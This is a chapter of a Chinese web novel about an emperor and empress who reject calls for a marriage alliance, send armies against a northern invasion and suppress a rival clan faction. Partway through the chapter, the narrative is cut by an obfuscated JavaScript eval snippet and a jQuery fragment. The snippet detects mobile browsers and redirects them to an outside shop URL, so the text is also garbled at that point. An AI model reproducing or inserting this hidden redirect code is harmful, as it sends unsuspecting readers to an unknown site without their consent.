烛火燃至深夜,中宫暖阁内案头堆叠的密信与军务奏折渐渐平复。
权峥凛指尖捻灭最后一缕余烬,将烧毁密信的残纸丢入铜盆,掌心摩挲着冷雪梅的发顶。
“江南世家已入瓮,暗线安插妥当,新政根基稳如泰山。”
冷雪梅靠入他怀中,指尖顺着他腰间玉带的纹路轻轻划过。
“顾言琮一行人被禁军看押,驿馆书信之事公示后,他们再无异动,江南之地暂不会生乱。”
话音未落,殿外传来急促脚步声。
内侍总管李阳戌跌撞冲入,手中捧着一封染了墨渍的火漆急报,双膝跪地。
“陛下!皇后娘娘!北境急报!蛮族铁骑突破雁门关,守将张谦八百里加急求援!”
权峥凛收紧指尖,冷雪梅直起身躯,抬手接过急报。
火漆滚烫,纸页边缘还凝着未干的血渍,她快速展开,指尖划过一行行字迹,目光愈发沉凝。
“蛮族分三路进军,左路袭扰云州,中路直逼代州,右路劫掠灵州,守将张谦请求增派三万精锐,同时恳请朝廷调拨粮草军械。”冷雪梅将急报递予权峥凛,“北境战事已起,非小股冲突可比。”
权峥凛接过急报,指尖按压在“蛮族铁骑”四字上。
他沉默片刻,抬眸看向殿外沉沉夜色,“明日早朝,议北境战事。”
翌日清晨,金銮殿内气氛肃杀。
百官身着朝服立于阶下,人人面色凝重,江南世家子弟被软禁驿馆,守旧派官员噤若寒蝉,唯有冷家旧部与支持新政的文臣神色沉稳,静待帝后临朝。
辰时,权峥凛牵着冷雪梅的手步入大殿,两肩微沉,周身覆着一层寒霜。
落座龙椅与凤座后,权峥凛抬手示意内侍传报,“宣北境急报。”
内侍捧着火漆急报,缓步走上丹陛,展开高声诵读。
“北境蛮族入侵,雁门关失守,云州、代州、灵州接连告急,守将张谦求援,恳请增兵三万,调拨粮草二十万石!”
诵读声落,殿内炸开响声,交头接耳,议论纷纷。
守旧派官员率先出列,礼部尚书赵崇年躬身行礼。
“陛下,北境蛮族势大,我朝新政初立,国库空虚,不宜轻启战端。臣以为,当遣使议和,以和亲之策暂息兵戈,选宗室女嫁与蛮族首领,赠以金银布帛,换取边境安宁。”
话音刚落,立刻有几位主和派官员附和:“尚书所言极是!蛮族以游牧为生,贪财好利,和亲赠币必能退敌。若强行征战,恐耗损国库,动摇新政根基!”
“不可!”兵部尚书赵毅猛地出列,“蛮族狼子野心,此次入侵早有预谋,和亲不过是养虎为患!当年先皇曾与蛮族和亲,结果年年遭其劫掠,边境百姓流离失所!臣请陛下增兵北境,派大将挂帅,御驾亲征,击退蛮族!”
武将队列纷纷出列附和:“请陛下派军!请陛下亲征!”
主和派与主战派一时争执起来,守旧派官员暗中使眼色,几位文臣再次出列,对着权峥凛躬身。
“陛下,国库经战乱后空虚,新政推行需钱粮支撑,若贸然开战,必致民怨沸腾。且陛下刚登基不久,不宜远离京城,可暂遣偏师支援,以稳局势。”
“偏师?”赵毅冷笑,“北境守将已求援,偏师何用?我等武将愿领兵出征,只求陛下下令!”
殿内吵嚷不休,守旧派官员频频看向权峥凛,眼底藏着算计,他们深知兵权乃权峥凛命脉,若以国库空虚、新政安危为由逼他放弃亲征,必能削弱其军权。
冷雪梅端坐凤座,指尖轻叩扶手,目光扫过阶下争执的百官,缓缓起身。
她迈步走到丹陛中央,声音清亮,压下所有嘈杂。
“诸位大人,先静一静。”
百官闻声止声,纷纷看向冷雪梅,顾言琮虽被软禁,但其暗中联络的守旧派官员仍在殿中,此刻正等着看皇后如何应对,他们料定冷雪梅出身世家,必不愿轻易开战,恐附和和亲。
冷雪梅抬手示意内侍呈上北境舆图,指尖点向雁门关、云州、代州三地。
“北境三州乃大靖屏障,若三州失守,蛮族便可长驱直入,直逼京城。此时议和,蛮族必提苛刻条件,非但不能换安宁,反会让天下人觉得大靖软弱可欺,新政推行必受掣肘。”
她转头看向主和派官员,“国库空虚之说,本宫并非不知。然新政推行轻徭薄赋,江南、淮北等地赋税减免已见成效,国库正稳步充盈。北境战事所需,可从盐铁官营、商税规整中调拨,亦可令江南世家出资助饷,他们既为大靖子民,当共御外侮。”
这话一出,主和派官员神色一僵,暗自心惊冷雪梅竟要拿江南世家开刀,丝毫没有顾及同族之意。
守旧派官员见状,立刻出列反驳:“皇后娘娘!江南世家乃江南根基,若强征其饷,必致江南动荡!且陛下刚登基,需以安抚为主,不宜动武!”
“安抚?”冷雪梅挑眉,指尖指向舆图上的蛮族领地,“蛮族铁骑已踏我边境,杀我百姓,此等国仇家恨,岂能安抚?本宫执掌民政,深知百姓疾苦,更知国无防则民不安。新政需安稳江山,江山需兵权守护,若连边境都守不住,新政何谈推行?”
权峥凛缓缓起身,他走下丹陛站到冷雪梅身侧,抬手轻轻按住她的肩头,目光扫过阶下百官,周身帝王威压弥漫四周。
“皇后所言,便是朕的旨意。”权峥凛指尖按向腰间佩剑的剑柄,“北境入侵,朕绝不议和。”
守旧派官员心头一紧,立刻跪地:“陛下!三思啊!和亲乃万全之策,不可轻启战端!”
“万全之策?”权峥凛目光冷冽,眼底闪过一丝狠劲,“当年先皇和亲之策,蛮族仍年年犯边,朕岂会重蹈覆辙?朕的兵权,便是用来护江山、护皇后、护天下百姓!谁敢再提和亲,以通敌论处!”
他抬手对着武将队列沉声下令:“赵毅!朕命你为北境行军大元帅,即刻领兵五万,携三个月粮草军械,星夜驰援北境!务必守住云州、代州,拖住蛮族主力!”
“臣遵旨!”赵毅躬身领命,转身快步出殿调兵。
权峥凛继续下令:“李将军!领两万骑兵,驰援灵州,配合当地守军夹击蛮族右路,务必全歼来犯之敌!”
“臣遵旨!”
一道道军令接连下达,武将们纷纷领命,转身出殿调兵,殿内主战派士气高涨。
守旧派官员见状,仍不死心,跪地叩首。
“陛下!国库空虚,恐难支撑大军征战!还请陛下收回成命,暂避兵锋!”
“国库之事,无需尔等操心。”权峥凛看向冷雪梅,眼底的狠劲化作温柔,随即又转向百官。
“皇后执掌民政,已规划好粮草调拨事宜,江南世家需按人头出资助饷,各地州县也需按时上缴赋税,支援北境。朕的兵权不会因尔等掣肘而削弱,北境战事,朕必亲自坐镇京城,调遣全军,绝不让蛮族踏进一步!”
冷雪梅迈步上前,对着百官躬身:“本宫已下令,冷家旧部即刻清点江南粮食物资,三日内运往北境;各地暗卫也已启动,严查奸细,防止守旧派与蛮族勾结。新政推行,与北境战事相辅相成,朕与陛下必同心协力,保永宁江山无恙!”
百官见状,深知帝后心意已决,再无异议,纷纷躬身。
“臣等遵旨!同心协力,共御外敌!”
朝会结束,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722980|208753||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
百官退朝。
权峥凛牵着冷雪梅的手走下丹陛,阳光倾洒两人,却驱不散殿内的肃杀。
冷雪梅指尖扣住他的手,“陛下,北境战事紧急,你需小心。”
权峥凛停下脚步,抬手轻轻拂过她的鬓角,目光坚定。
“我会亲自坐镇,调遣大军,不会离开太久。你执掌民政,需稳住后方,若有异动,立刻传信给我。”
他顿了顿,眼底闪过一丝护妻的狠劲:“谁敢在后方趁机作乱,阻挠战事,无论他是世家还是旧臣,朕必严惩不贷。”
“北境战事,既是外敌入侵,也是朕巩固军权的契机,朕要让天下人知道永宁的兵权,牢牢握在朕手中,无人能撼动!”
冷雪梅点头,“我会稳住后方,配合你调遣粮草军械,安插暗线监视守旧派与江南世家,绝不让你后顾之忧。”
两人步入御书房,权峥凛立刻召集兵部官员,商议北境战事部署,冷雪梅则召来冷家旧部,下令调拨江南物资,筹备粮草军械。
午后,禁军来报,驿馆中的江南世家子弟试图暗中联络守旧派官员,传递北境战事消息,被禁军当场抓获,搜出书信。
权峥凛看完书信,面色冷冽,提笔下令:“将涉世家子弟逐出京城,永不录用;守旧派官员中,凡与蛮族勾结、阻挠战事者,全部拿下,交由大理寺严刑审讯!”
一道道军令传出,京城进入森严戒备,守旧派官员被一一控制。
江南世家慑于帝后威严,也乖乖交出了助饷物资,不敢再有半分异动。
三日后,赵毅领兵五万离京,冷雪梅亲自到城门口送行,递上一道密令。
“赵将军,这是暗线提供的蛮族布防图,你务必妥善保管,依图作战。若有需要,随时传信回京,我与陛下必全力支援。”
赵毅接过密令,躬身行礼:“请皇后放心,臣必击退蛮族,守住北境!”
权峥凛站立冷雪梅身侧,看着大军远去的背影,抬手轻轻覆向她的手背。
“北境战事一开,朕的军权必更稳固,守旧派再也无法掣肘。待击退蛮族,新政推行必无阻碍,天下归心,基业稳固。”
冷雪梅抬头看他,眼底饱含默契,“有你护江山,我护新政,帝后同心,必能击退外敌,安定天下。”
暖阁内,烛火摇曳,案头堆满了北境战事奏折与新政文书。
权峥凛每日批复军务奏折,冷雪梅每日处理民政事务。
两人时而商议战事,时而讨论新政,配合默契。
一日,谢无妄传来密信,称江南顾家暗中与蛮族有联系,试图借战乱削弱朝廷势力。
权峥凛看完密信,递给冷雪梅,“江南世家果然不安分,幸好暗线安插及时,否则必成后患。”
冷雪梅看完密信,提笔写下一道密令,递给暗卫统领。
“令谢无妄继续潜伏,密切监视顾家动向,同时安插暗线掌握其核心机密。待北境战事结束,再清算江南世家之事。”
北境战事渐渐传来捷报,赵毅领兵击退蛮族左路,李将军全歼蛮族右路,蛮族主力见势不妙,纷纷撤退,北境危机暂时解除。
权峥凛站立城楼上看着北境方向,指尖紧握成拳。
“蛮族此次入侵,必是背后有人指使,待朕休整兵马,亲自北征,彻底平定北境之乱!”
冷雪梅走到他身边,抬手轻轻拍了拍他的手臂。
“我会陪在你身边,助你平定北境,固我江山。”
权峥凛转头看她,眼底狠劲尽数化为温柔,他伸手将她揽入怀中。
“此生,我护你,护江山,护新政,必让永宁基业稳固,让天下百姓安居乐业。”